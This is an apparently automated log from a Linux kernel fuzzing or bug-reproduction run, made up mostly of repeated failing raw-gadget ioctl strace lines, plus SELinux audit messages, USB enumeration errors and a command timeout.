[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[host] Command execution timed out after 2m30s
TestError:]
|
| 264/3 |
2026/09/11 23:09 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 61.300215][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.302541][ T33] audit: type=1400 audit(1789167759.671:201): avc: denied { transition } for pid=5826 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310106][ T33] audit: type=1400 audit(1789167759.671:202): avc: denied { noatsecure } for pid=5826 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310130][ T33] audit: type=1400 audit(1789167759.671:203): avc: denied { rlimitinh } for pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310144][ T33] audit: type=1400 audit(1789167759.671:204): avc: denied { siginh } for pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:15750' (ED25519) to the list of known hosts.
[+] Gadget initialized and running.
[ 64.584694][ T33] audit: type=1400 audit(1789167762.961:205): avc: denied { read write } for pid=5838 comm="syz-executor333" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.596706][ T33] audit: type=1400 audit(1789167762.961:206): avc: denied { open } for pid=5838 comm="syz-executor333" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.604954][ T33] audit: type=1400 audit(1789167762.961:207): avc: denied { ioctl } for pid=5838 comm="syz-executor333" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.854215][ T51] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 65.336775][ T33] audit: type=1400 audit(1789167763.711:208): avc: denied { write } for pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.381559][ T33] audit: type=1400 audit(1789167763.751:209): avc: denied { write } for pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.520239][ T33] audit: type=1400 audit(1789167763.891:210): avc: denied { write } for pid=5850 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.308929][ T33] kauditd_printk_skb: 12 callbacks suppressed
[ 66.308990][ T33] audit: type=1400 audit(1789167764.681:223): avc: denied { write } for pid=5889 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 70.023783][ T51] usb 1-1: device descriptor read/64, error -110
[ 70.263781][ T51] usb 1-1: new high-speed USB device number 3 using dummy_hcd
[ 70.393895][ T51] usb 1-1: device descriptor read/64, error -32
[ 70.503964][ T51] usb usb1-port1: attempt power cycle
[ 70.793812][ T51] raw-gadget.0 gadget.0: failed to queue resume event
[ 70.853763][ T51] usb 1-1: new high-speed USB device number 4 using dummy_hcd
[ 70.873955][ C1] raw-gadget.0 gadget.0: ignoring, device is not running
[ 70.874090][ T51] usb 1-1: device descriptor read/8, error -32
[ 70.983832][ T51] raw-gadget.0 gadget.0: failed to queue suspend event
[ 70.984066][ T51] raw-gadget.0 gadget.0: failed to queue reset event
[ 71.053827][ T51] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.113784][ T51] usb 1-1: new high-speed USB device number 5 using dummy_hcd
[ 71.133972][ C1] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.134086][ T51] usb 1-1: device descriptor read/8, error -32
[ 71.244674][ T51] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.244884][ T51] usb usb1-port1: unable to enumerate USB device
[ 71.574639][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.574715][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[ 76.684839][ T993] cfg80211: failed to load regulatory.db
[ 133.004763][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 133.004849][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[ 194.444740][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 194.444805][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[host] Command execution timed out after 2m30s
TruncatedCrashReport: TruncatedStraceOutput:[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
